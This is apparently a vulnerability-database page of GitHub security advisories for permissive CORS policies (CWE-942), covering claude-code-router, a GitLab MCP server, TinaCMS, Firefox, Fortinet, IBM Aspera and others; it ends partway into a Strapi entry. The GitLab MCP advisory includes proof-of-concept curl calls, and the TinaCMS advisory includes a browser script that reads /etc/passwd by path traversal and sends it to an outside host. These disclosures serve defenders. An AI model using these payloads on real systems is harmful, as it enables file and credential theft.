Common Weakness Enumeration

CWE-942

Allowed

Permissive Cross-domain Security Policy with Untrusted Domains

Abstraction: Variant · Status: Incomplete

API response cwe.mitre.org

The product uses a web-client protection mechanism such as a Content Security Policy (CSP) or cross-domain policy file, but the policy includes untrusted domains with which the web client is allowed to communicate.

177 vulnerabilities reference this CWE, most recent first.

GHSA-8HMM-4CRW-VM2C

Vulnerability from github – Published: 2025-08-21 14:54 – Updated: 2025-08-21 19:17
VLAI
Summary
@musistudio/claude-code-router has improper CORS configuration
Details

Impact

Due to improper Cross-Origin Resource Sharing (CORS) configuration, there is a risk that user API Keys or equivalent credentials may be exposed to untrusted domains. Attackers could exploit this misconfiguration to steal credentials, abuse accounts, exhaust quotas, or access sensitive data.

Patches

The issue has been patched in v1.0.34.

Severity
0.0 (None)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
8.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@musistudio/claude-code-router"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.34"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-57755"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-21T14:54:24Z",
    "nvd_published_at": "2025-08-21T17:15:31Z",
    "severity": "HIGH"
  },
  "details": "### Impact\nDue to improper Cross-Origin Resource Sharing (CORS) configuration, there is a risk that user API Keys or equivalent credentials may be exposed to untrusted domains. Attackers could exploit this misconfiguration to steal credentials, abuse accounts, exhaust quotas, or access sensitive data.\n\n### Patches\nThe issue has been patched in v1.0.34.",
  "id": "GHSA-8hmm-4crw-vm2c",
  "modified": "2025-08-21T19:17:34Z",
  "published": "2025-08-21T14:54:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/musistudio/claude-code-router/security/advisories/GHSA-8hmm-4crw-vm2c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57755"
    },
    {
      "type": "WEB",
      "url": "https://github.com/musistudio/claude-code-router/issues/549"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/musistudio/claude-code-router"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "@musistudio/claude-code-router has improper CORS configuration"
}

GHSA-8JR5-6GVJ-RFPF

Vulnerability from github – Published: 2026-05-09 00:10 – Updated: 2026-06-08 23:34
VLAI
Summary
@yoda.digital/gitlab-mcp-server's SSE transport has no authentication and wildcard CORS, exposing all 86 GitLab tools
Details

SSE Transport Has No Authentication and Wildcard CORS, Exposing All 86 GitLab Tools Including Destructive Operations

A review of mcp-gitlab-server at commit 80a7b4cf3fba6b55389c0ef491a48190f7c8996a uncovered that the SSE HTTP transport — advertised in the README and comparison table as a differentiating feature — runs with no authentication and wildcard CORS on every endpoint. The maintainers' own roadmap confirms auth is a known gap.

When USE_SSE=true, the HTTP server in src/transport.ts sets:

res.setHeader('Access-Control-Allow-Origin', '*');
res.setHeader('Access-Control-Allow-Methods', 'GET, POST');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type');

The httpServer.listen(port) call at line 97 passes no host argument — Node.js defaults to 0.0.0.0, binding on all interfaces. Two endpoints are exposed with no credential check:

  • GET /sse — opens an SSE connection, returns a session endpoint URL
  • POST /messages?sessionId=<id> — sends MCP messages to the server using the loaded GITLAB_PERSONAL_ACCESS_TOKEN

Any caller who can reach the port — LAN, cloud instance, or via the browser-tab vector the wildcard CORS enables — gets full access to all 86 tools the server exposes using the operator's GitLab PAT. That includes delete_repository, delete_group, push_files, create_merge_request, update_repository_settings, and any other tool the server exposes. The PAT doesn't leave the process, but every API call it backs is available to the unauthenticated caller.

The wildcard CORS makes the browser-tab vector direct: any web page the operator visits while the server is running can open an SSE connection and make tool calls via cross-origin fetch. No user interaction beyond visiting the page.

PoC — reproduces from the documented USE_SSE=true configuration:

# Step 1: connect SSE and capture the session endpoint
curl -N http://localhost:3000/sse &
# Output includes: event: endpoint
#                  data: /messages?sessionId=<UUID>

# Step 2: call any tool — no auth header needed
curl -X POST "http://localhost:3000/messages?sessionId=<UUID>" \
  -H "Content-Type: application/json" \
  -d '{
    "jsonrpc": "2.0",
    "id": 1,
    "method": "tools/call",
    "params": {
      "name": "get_repository",
      "arguments": {"project_id": "target-org/private-repo"}
    }
  }'
# Returns repository data using the operator's GitLab PAT

# Same path works for delete_repository, push_files, etc.

Root cause

The HTTP transport in src/transport.ts ships with no authentication layer at all and a wildcard Access-Control-Allow-Origin: * on every response. The structural defect is that the SSE server stands up a stateful, mutation-capable RPC endpoint that is backed by the operator's GITLAB_PERSONAL_ACCESS_TOKEN without any inbound credential check, then advertises itself to every cross-origin browser context via the wildcard CORS header. The httpServer.listen(port) call at line 97 also passes no host argument, so the bind defaults to 0.0.0.0 and exposes the auth-less surface on every interface. Auth isn't fail-opening on a missing config — there is no auth check at any code path on either /sse or /messages?sessionId=....

Auth boundary violated

Trust-domain boundary — untrusted cross-origin browser context (and any unauthenticated network caller) crossing into the trusted server-state-mutating GitLab API surface that the operator's PAT backs. Respected-here: nothing. The transport carries no Authorization check, no origin allowlist, no session-binding to the originating client, and no host restriction. Ignored-there: the SSE handler at src/transport.ts accepts an arbitrary Origin (since Access-Control-Allow-Origin: *), opens a session, and the matching POST /messages?sessionId=... proxies tool calls — including delete_repository, push_files, update_repository_settings — to the GitLab API using the operator's PAT. Any web page the operator visits while the server runs can drive the full 86-tool surface via cross-origin fetch.

The roadmap in README.md at line 190 includes - [ ] SAML/OAuth3 authentication — confirming the maintainers are already tracking this gap. The issue is disclosure of impact in the interim: operators who follow the README's SSE setup instructions and don't see an auth requirement in the docs may reasonably assume the transport is safe to use on a network-accessible host.

CVSS 4.0: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N — ~6.3 (Medium). AT:P reflects the USE_SSE=true precondition. When that precondition is met, the effective severity for those deployments is High — full GitLab PAT access without authentication. The Medium CVSS is the aggregate across all deployments; for any operator who has activated SSE mode (which the README promotes as a feature), the finding is functionally High.

Fix — four concrete changes:

  1. Require MCP_GITLAB_AUTH_TOKEN as a startup precondition when USE_SSE=true. If the env var is unset, the server should exit with a clear message before the HTTP server starts:

typescript if (process.env.USE_SSE === 'true') { if (!process.env.MCP_GITLAB_AUTH_TOKEN) { console.error( 'ERROR: MCP_GITLAB_AUTH_TOKEN must be set when USE_SSE=true. ' + 'SSE transport without authentication exposes all GitLab tools to unauthenticated callers.' ); process.exit(1); } }

The token check in src/transport.ts validates it on every request: typescript const authToken = process.env.MCP_GITLAB_AUTH_TOKEN; if (authToken) { const provided = req.headers['authorization']?.replace(/^Bearer /, ''); if (provided !== authToken) { res.writeHead(401); res.end(JSON.stringify({ error: 'Unauthorized' })); return; } }

  1. Bind to 127.0.0.1 by default for the SSE transport rather than 0.0.0.0. An explicit MCP_GITLAB_HOST=0.0.0.0 flag with a startup banner warning can expose it to the network for operators who need that — but the safe default should be loopback-only.

  2. Replace the wildcard Access-Control-Allow-Origin: * with a localhost-only default. When network exposure is intentional (explicit flag + auth token set), an explicit CORS_ORIGINS allowlist should be required.

  3. The SAML/OAuth3 roadmap item is the right long-term direction. In the interim — before that ships — the three changes above are entirely in the existing codebase with no new dependencies.

No prior security advisories, CVEs, or public security issues exist for this package — a search of the repository issue list and npm advisory database did not yield any duplicate issues.

Severity
8.8 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@yoda.digital/gitlab-mcp-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44895"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-09T00:10:28Z",
    "nvd_published_at": "2026-05-26T22:16:42Z",
    "severity": "HIGH"
  },
  "details": "## SSE Transport Has No Authentication and Wildcard CORS, Exposing All 86 GitLab Tools Including Destructive Operations\n\nA review of `mcp-gitlab-server` at commit `80a7b4cf3fba6b55389c0ef491a48190f7c8996a` uncovered that the SSE HTTP transport \u2014 advertised in the README and comparison table as a differentiating feature \u2014 runs with no authentication and wildcard CORS on every endpoint. The maintainers\u0027 own roadmap confirms auth is a known gap.\n\nWhen `USE_SSE=true`, the HTTP server in `src/transport.ts` sets:\n\n```typescript\nres.setHeader(\u0027Access-Control-Allow-Origin\u0027, \u0027*\u0027);\nres.setHeader(\u0027Access-Control-Allow-Methods\u0027, \u0027GET, POST\u0027);\nres.setHeader(\u0027Access-Control-Allow-Headers\u0027, \u0027Content-Type\u0027);\n```\n\nThe `httpServer.listen(port)` call at line 97 passes no host argument \u2014 Node.js defaults to `0.0.0.0`, binding on all interfaces. Two endpoints are exposed with no credential check:\n\n- `GET /sse` \u2014 opens an SSE connection, returns a session endpoint URL\n- `POST /messages?sessionId=\u003cid\u003e` \u2014 sends MCP messages to the server using the loaded `GITLAB_PERSONAL_ACCESS_TOKEN`\n\nAny caller who can reach the port \u2014 LAN, cloud instance, or via the browser-tab vector the wildcard CORS enables \u2014 gets full access to all 86 tools the server exposes using the operator\u0027s GitLab PAT. That includes `delete_repository`, `delete_group`, `push_files`, `create_merge_request`, `update_repository_settings`, and any other tool the server exposes. The PAT doesn\u0027t leave the process, but every API call it backs is available to the unauthenticated caller.\n\nThe wildcard CORS makes the browser-tab vector direct: any web page the operator visits while the server is running can open an SSE connection and make tool calls via cross-origin fetch. No user interaction beyond visiting the page.\n\n**PoC \u2014 reproduces from the documented USE_SSE=true configuration:**\n\n```bash\n# Step 1: connect SSE and capture the session endpoint\ncurl -N http://localhost:3000/sse \u0026\n# Output includes: event: endpoint\n#                  data: /messages?sessionId=\u003cUUID\u003e\n\n# Step 2: call any tool \u2014 no auth header needed\ncurl -X POST \"http://localhost:3000/messages?sessionId=\u003cUUID\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"jsonrpc\": \"2.0\",\n    \"id\": 1,\n    \"method\": \"tools/call\",\n    \"params\": {\n      \"name\": \"get_repository\",\n      \"arguments\": {\"project_id\": \"target-org/private-repo\"}\n    }\n  }\u0027\n# Returns repository data using the operator\u0027s GitLab PAT\n\n# Same path works for delete_repository, push_files, etc.\n```\n\n## Root cause\n\nThe HTTP transport in `src/transport.ts` ships with no authentication layer at all and a wildcard `Access-Control-Allow-Origin: *` on every response. The structural defect is that the SSE server stands up a stateful, mutation-capable RPC endpoint that is backed by the operator\u0027s `GITLAB_PERSONAL_ACCESS_TOKEN` without any inbound credential check, then advertises itself to every cross-origin browser context via the wildcard CORS header. The `httpServer.listen(port)` call at line 97 also passes no host argument, so the bind defaults to `0.0.0.0` and exposes the auth-less surface on every interface. Auth isn\u0027t fail-opening on a missing config \u2014 there is no auth check at any code path on either `/sse` or `/messages?sessionId=...`.\n\n## Auth boundary violated\n\nTrust-domain boundary \u2014 untrusted cross-origin browser context (and any unauthenticated network caller) crossing into the trusted server-state-mutating GitLab API surface that the operator\u0027s PAT backs. Respected-here: nothing. The transport carries no `Authorization` check, no origin allowlist, no session-binding to the originating client, and no host restriction. Ignored-there: the SSE handler at `src/transport.ts` accepts an arbitrary `Origin` (since `Access-Control-Allow-Origin: *`), opens a session, and the matching `POST /messages?sessionId=...` proxies tool calls \u2014 including `delete_repository`, `push_files`, `update_repository_settings` \u2014 to the GitLab API using the operator\u0027s PAT. Any web page the operator visits while the server runs can drive the full 86-tool surface via cross-origin fetch.\n\nThe roadmap in `README.md` at line 190 includes `- [ ] SAML/OAuth3 authentication` \u2014 confirming the maintainers are already tracking this gap. The issue is disclosure of impact in the interim: operators who follow the README\u0027s SSE setup instructions and don\u0027t see an auth requirement in the docs may reasonably assume the transport is safe to use on a network-accessible host.\n\n**CVSS 4.0:** `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N` \u2014 **~6.3 (Medium)**. `AT:P` reflects the `USE_SSE=true` precondition. When that precondition is met, the effective severity for those deployments is High \u2014 full GitLab PAT access without authentication. The Medium CVSS is the aggregate across all deployments; for any operator who has activated SSE mode (which the README promotes as a feature), the finding is functionally High.\n\n**Fix \u2014 four concrete changes:**\n\n1. Require `MCP_GITLAB_AUTH_TOKEN` as a startup precondition when `USE_SSE=true`. If the env var is unset, the server should exit with a clear message before the HTTP server starts:\n\n   ```typescript\n   if (process.env.USE_SSE === \u0027true\u0027) {\n     if (!process.env.MCP_GITLAB_AUTH_TOKEN) {\n       console.error(\n         \u0027ERROR: MCP_GITLAB_AUTH_TOKEN must be set when USE_SSE=true. \u0027 +\n         \u0027SSE transport without authentication exposes all GitLab tools to unauthenticated callers.\u0027\n       );\n       process.exit(1);\n     }\n   }\n   ```\n\n   The token check in `src/transport.ts` validates it on every request:\n   ```typescript\n   const authToken = process.env.MCP_GITLAB_AUTH_TOKEN;\n   if (authToken) {\n     const provided = req.headers[\u0027authorization\u0027]?.replace(/^Bearer /, \u0027\u0027);\n     if (provided !== authToken) {\n       res.writeHead(401);\n       res.end(JSON.stringify({ error: \u0027Unauthorized\u0027 }));\n       return;\n     }\n   }\n   ```\n\n2. Bind to `127.0.0.1` by default for the SSE transport rather than `0.0.0.0`. An explicit `MCP_GITLAB_HOST=0.0.0.0` flag with a startup banner warning can expose it to the network for operators who need that \u2014 but the safe default should be loopback-only.\n\n3. Replace the wildcard `Access-Control-Allow-Origin: *` with a localhost-only default. When network exposure is intentional (explicit flag + auth token set), an explicit `CORS_ORIGINS` allowlist should be required.\n\n4. The SAML/OAuth3 roadmap item is the right long-term direction. In the interim \u2014 before that ships \u2014 the three changes above are entirely in the existing codebase with no new dependencies.\n\n---\n\nNo prior security advisories, CVEs, or public security issues exist for this package \u2014 a search of the repository issue list and npm advisory database did not yield any duplicate issues.",
  "id": "GHSA-8jr5-6gvj-rfpf",
  "modified": "2026-06-08T23:34:55Z",
  "published": "2026-05-09T00:10:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/yoda-digital/mcp-gitlab-server/security/advisories/GHSA-8jr5-6gvj-rfpf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44895"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yoda-digital/mcp-gitlab-server"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "@yoda.digital/gitlab-mcp-server\u0027s SSE transport has no authentication and wildcard CORS, exposing all 86 GitLab tools"
}

GHSA-8PRR-WP36-5MV2

Vulnerability from github – Published: 2025-11-11 18:30 – Updated: 2025-11-19 21:31
VLAI
Details

Same-origin policy bypass in the DOM: Notifications component. This vulnerability affects Firefox < 145 and Firefox ESR < 140.5.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-13017"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-11T16:15:38Z",
    "severity": "HIGH"
  },
  "details": "Same-origin policy bypass in the DOM: Notifications component. This vulnerability affects Firefox \u003c 145 and Firefox ESR \u003c 140.5.",
  "id": "GHSA-8prr-wp36-5mv2",
  "modified": "2025-11-19T21:31:17Z",
  "published": "2025-11-11T18:30:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13017"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1980904"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2025-87"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2025-88"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2025-90"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2025-91"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8PW3-9M7F-Q734

Vulnerability from github – Published: 2026-03-12 20:32 – Updated: 2026-03-12 20:32
VLAI
Summary
TinaCMS CLI Dev Server Vulnerable to Cross-Origin File Exfiltration via CORS Misconfiguration + Path Traversal in TinaCMS
Details

Summary

The TinaCMS CLI dev server combines a permissive CORS configuration (Access-Control-Allow-Origin: *) with the path traversal vulnerability (previously reported) to enable a browser-based drive-by attack. A remote attacker can enumerate the filesystem, write arbitrary files, and delete arbitrary files on developer's machines by simply tricking them into visiting a malicious website while tinacms dev is running.

Details

The TinaCMS dev server sets permissive CORS headers that allow any origin to make cross-origin requests:

  • packages/@tinacms/cli/src/server/server.ts:
  app.use(cors());
  • packages/@tinacms/cli/src/next/vite/plugins.ts:
     server.middlewares.use(cors());

When combined with the path traversal vulnerability, this creates a complete attack chain.

Attack Scenario

Prerequisites

  1. Developer runs tinacms dev (default port 4001)
  2. Developer visits attacker's website while TinaCMS is running

No other conditions required - the dev server doesn't need to be: - Exposed to the internet - Bound to 0.0.0.0 - Accessible outside localhost

Attack Flow

  1. Developer starts TinaCMS: tinacms dev
  2. Developer browses the web (checking email, social media, etc.)
  3. Developer unknowingly visits attacker-controlled page (malicious ad, compromised site, etc.)
  4. Attacker's JavaScript exploits CORS + path traversal to read sensitive files
  5. Files are exfiltrated to attacker's server

PoC

Attacker's Malicious Website (evil.html):

<script>
fetch('http://localhost:4001/../../../etc/passwd')
  .then(r => r.text())
  .then(data => {
    // Exfil via GET
    const img = new Image();
    img.src = 'http://192.168.11.117:8080/exfil?data=' + encodeURIComponent(data);
  });
</script>

Demonstration

Step 1: Start TinaCMS dev server

tinacms dev
# Server running on http://localhost:4001

Step 2: Host evil.html on attacker server

python3 -m http.server 8000

Step 3: Developer visits http://attacker-server:8000/evil.html

Result: The browser makes cross-origin requests to localhost:4001. Because cors() returns Access-Control-Allow-Origin: *, the browser allows the JavaScript to read the responses. Directory listings from outside the media directory are sent to the attacker's server. image

Impact

Who is affected

Every developer running tinacms dev is vulnerable while the dev server is active. No special configuration is required the default setup is exploitable.

What an attacker achieves

By hosting a malicious webpage (or injecting script via a compromised ad network, XSS on a forum, etc.), the attacker can silently:

  1. Enumerate the developer's filesystem directory listings via /media/list/ with path traversal reveal file and folder names across the entire filesystem
  2. Discover sensitive files locate .env, .git/config, SSH keys, cloud credentials, database configs
  3. Write arbitrary files via /media/upload/ with path traversal, the attacker can overwrite project source files, inject backdoors, or modify build scripts
  4. Delete arbitrary files via /media/ DELETE with path traversal
Severity
9.6 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@tinacms/cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.1.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28792"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-942"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-12T20:32:09Z",
    "nvd_published_at": "2026-03-12T17:16:50Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\nThe TinaCMS CLI dev server combines a permissive CORS configuration (Access-Control-Allow-Origin: *) with the path traversal vulnerability (previously reported) to enable a browser-based drive-by attack. A remote attacker can enumerate the filesystem, write arbitrary files, and delete arbitrary files on developer\u0027s machines by simply tricking them into visiting a malicious website while tinacms dev is running.\n\n## Details\nThe TinaCMS dev server sets permissive CORS headers that allow **any origin** to make cross-origin requests:\n\n- packages/@tinacms/cli/src/server/server.ts:\n```\n  app.use(cors());\n```\n\n- packages/@tinacms/cli/src/next/vite/plugins.ts:\n```\n     server.middlewares.use(cors());\n```\nWhen combined with the path traversal vulnerability, this creates a complete attack chain.\n## Attack Scenario\n\n### Prerequisites\n1. Developer runs `tinacms dev` (default port 4001) \n2. Developer visits attacker\u0027s website while TinaCMS is running\n\n**No other conditions required** - the dev server doesn\u0027t need to be:\n- Exposed to the internet\n- Bound to 0.0.0.0\n- Accessible outside localhost\n\n### Attack Flow\n1. Developer starts TinaCMS: `tinacms dev`\n2. Developer browses the web (checking email, social media, etc.)\n3. Developer unknowingly visits attacker-controlled page (malicious ad, compromised site, etc.)\n4. Attacker\u0027s JavaScript exploits CORS + path traversal to read sensitive files\n5. Files are exfiltrated to attacker\u0027s server\n\n## PoC\n### Attacker\u0027s Malicious Website (evil.html):\n```\n\u003cscript\u003e\nfetch(\u0027http://localhost:4001/../../../etc/passwd\u0027)\n  .then(r =\u003e r.text())\n  .then(data =\u003e {\n    // Exfil via GET\n    const img = new Image();\n    img.src = \u0027http://192.168.11.117:8080/exfil?data=\u0027 + encodeURIComponent(data);\n  });\n\u003c/script\u003e\n```\n### Demonstration\n\n**Step 1:** Start TinaCMS dev server\n```bash\ntinacms dev\n# Server running on http://localhost:4001\n```\n\n**Step 2:** Host evil.html on attacker server\n```bash\npython3 -m http.server 8000\n```\n\n**Step 3:** Developer visits `http://attacker-server:8000/evil.html`\n\n**Result:** The browser makes cross-origin requests to localhost:4001.\nBecause cors() returns Access-Control-Allow-Origin: *, the browser\nallows the JavaScript to read the responses. Directory listings from\noutside the media directory are sent to the attacker\u0027s server.\n\u003cimg width=\"1900\" height=\"366\" alt=\"image\" src=\"https://github.com/user-attachments/assets/72fdd31d-dd93-4728-9a4b-4d7d66d33617\" /\u003e\n\n\n## Impact\n### Who is affected\nEvery developer running `tinacms dev` is vulnerable while the dev server is active. No special configuration is required the default setup is exploitable.\n\n### What an attacker achieves\nBy hosting a malicious webpage (or injecting script via a compromised ad network, XSS on a forum, etc.), the attacker can silently:\n\n1. **Enumerate the developer\u0027s filesystem** directory listings via `/media/list/` with path traversal reveal file and folder names\n   across the entire filesystem\n2. **Discover sensitive files** locate `.env`, `.git/config`,  SSH keys, cloud credentials, database configs\n3. **Write arbitrary files** via `/media/upload/` with path traversal, the attacker can overwrite project source files, inject backdoors, or modify build scripts\n4. **Delete arbitrary files** via `/media/` DELETE with path traversal",
  "id": "GHSA-8pw3-9m7f-q734",
  "modified": "2026-03-12T20:32:09Z",
  "published": "2026-03-12T20:32:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/security/advisories/GHSA-8pw3-9m7f-q734"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28792"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/pull/6450"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/commit/56d533e610a520ba66b3e58f3a0dc03487d5d5d7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tinacms/tinacms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/releases/tag/%40tinacms%2Fcli%402.1.8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "TinaCMS CLI Dev Server Vulnerable to Cross-Origin File Exfiltration via CORS Misconfiguration + Path Traversal in TinaCMS"
}

GHSA-8WCR-JRJM-3Q6F

Vulnerability from github – Published: 2024-05-03 03:30 – Updated: 2024-05-03 03:30
VLAI
Details

Softing edgeAggregator Permissive Cross-domain Policy with Untrusted Domains Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Softing edgeAggregator. Authentication is required to exploit this vulnerability.

The specific flaw exists within the configuration of the web server. The issue results from the lack of appropriate Content Security Policy headers. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of root. Was ZDI-CAN-20542.

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-38125"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-03T03:15:10Z",
    "severity": "HIGH"
  },
  "details": "Softing edgeAggregator Permissive Cross-domain Policy with Untrusted Domains Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Softing edgeAggregator. Authentication is required to exploit this vulnerability.\n\nThe specific flaw exists within the configuration of the web server. The issue results from the lack of appropriate Content Security Policy headers. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of root. Was ZDI-CAN-20542.",
  "id": "GHSA-8wcr-jrjm-3q6f",
  "modified": "2024-05-03T03:30:55Z",
  "published": "2024-05-03T03:30:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-38125"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-23-1059"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8X2V-M87X-JX78

Vulnerability from github – Published: 2023-11-14 21:31 – Updated: 2023-11-14 21:31
VLAI
Details

A permissive cross-domain policy with untrusted domains vulnerability in Fortinet FortiADC 7.1.0 - 7.1.1, FortiDDoS-F 6.3.0 - 6.3.4 and 6.4.0 - 6.4.1 allow an unauthorized attacker to carry out privileged actions and retrieve sensitive information via crafted web requests.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-25603"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-14T19:15:19Z",
    "severity": "MODERATE"
  },
  "details": "A permissive cross-domain policy with untrusted domains vulnerability in Fortinet FortiADC 7.1.0 - 7.1.1, FortiDDoS-F 6.3.0 - 6.3.4 and 6.4.0 - 6.4.1 allow an unauthorized attacker to carry out privileged actions and retrieve sensitive information via crafted web requests.",
  "id": "GHSA-8x2v-m87x-jx78",
  "modified": "2023-11-14T21:31:01Z",
  "published": "2023-11-14T21:31:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-25603"
    },
    {
      "type": "WEB",
      "url": "https://fortiguard.com/psirt/FG-IR-22-518"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-92R7-2X48-7RM2

Vulnerability from github – Published: 2025-10-09 15:31 – Updated: 2025-10-09 15:31
VLAI
Details

IBM Aspera Faspex 5.0.0 through 5.0.13.1 uses a cross-domain policy file that includes domains that should not be trusted.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-37401"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-942"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-09T14:15:53Z",
    "severity": "MODERATE"
  },
  "details": "IBM Aspera Faspex 5.0.0 through 5.0.13.1 uses a cross-domain policy file that includes domains that should not be trusted.",
  "id": "GHSA-92r7-2x48-7rm2",
  "modified": "2025-10-09T15:31:03Z",
  "published": "2025-10-09T15:31:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37401"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7247502"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9329-MXXW-QWF8

Vulnerability from github – Published: 2025-10-16 19:49 – Updated: 2026-01-29 03:59
VLAI
Summary
Strapi core vulnerable to sensitive data exposure via CORS misconfiguration
Details

Summary

